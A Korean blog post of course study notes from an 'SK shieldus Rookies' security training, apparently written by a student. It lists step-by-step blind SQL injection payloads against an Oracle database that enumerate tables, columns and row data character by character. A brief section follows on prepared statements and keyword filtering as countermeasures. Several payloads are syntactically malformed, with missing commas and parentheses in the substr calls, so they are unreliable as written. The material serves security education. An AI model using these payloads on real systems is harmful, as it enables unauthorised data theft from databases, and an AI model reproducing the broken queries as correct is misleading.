오늘 학습 주제
1. SQL Injection
2. 취약한 시큐어 코딩
SQL Injection
- Blind SQL Injection -
조건문의 결과 중 원하는 위치의 값 하나가 ASCII 값과 대소비교를 통해 정확한 값을 찾아내는 공격 논리형 결과로 데이터 확인
- 절차 -
[테이블 개수 확인]and (select count(table_name) from all_tables) > 106--테이블의 정확한 수가 나올때까지 대소비교
[테이블 명 추출]and ascii(substr(select table_name from (select table_name, rownum as rnum from all_tables) where rnum=60)1, 1)) > 75--원하는 테이블의 이름을 찾을 때까지 숫자를 변경해가며 테이블 명 확인(반복)
[칼럼 개수 확인]
and (select count(column_name) from all_tab_columns where table_name =테이블 이름) > 11--
테이블의 칼럼 개수가 나올때까지 대소비교
[칼럼 명 추출]
and ascii(substr(select column_name from
(select column_name, rownum as rnum from all_tab_columns where table_name = 테이블이름)
where rnum=60)1, 1)) > 75--
원하는 칼럼의 이름을 찾을 때까지 숫자를 변경해가며 정보 추출
[데이터 개수 확인]
and (select count(칼럼명) from 테이블이름) > 26--
데이터의 수(rows)를 확인
[칼럼 명 추출]
and ascii(substr((select 칼럼명 from (select 칼럼명, rownum as rnum from 테이블명)
where rnum = 1),1,1))>49--
실제 데이터의 값을 찾을 때까지 숫자를 변경해가며 데이터 추출(반복)
- 대응 -
Prepared Statement 구문을 통해 문자열이 SQL 쿼리로 실행되지 않도록 조치하는 것만으로도
SQL Injection의 난이도는 증가
취약한 시큐어 코딩
- Prepared Statement -
우리가 입력한 쿼리는 DBMS 내부적으로 4가지 과정(Parse, Bind, Execut, Fetch)를 거쳐 실행
Preared Statement으로는
바인딩을 하지 않거나 정렬 기능일 경우 막을 수 없으니
필터링 기능을 사용해야 한다(예약어)
'SK shieldus Rookies 16기' 카테고리의 다른 글
[SK shieldus Rookies 16기] 클라우드 기반 스마트 융합 보안 과정 교육 정리(63일차) (0) | 2024.02.02 |
---|---|
[SK shieldus Rookies 16기] 클라우드 기반 스마트 융합 보안 과정 교육 정리(63일차) (0) | 2024.02.01 |
[SK shieldus Rookies 16기] 클라우드 기반 스마트 융합 보안 과정 교육 정리(61일차) (0) | 2024.01.30 |
[SK shieldus Rookies 16기] 클라우드 기반 스마트 융합 보안 과정 교육 정리(60일차) (0) | 2024.01.26 |
[SK shieldus Rookies 16기] 클라우드 기반 스마트 융합 보안 과정 교육 정리(59일차) (0) | 2024.01.25 |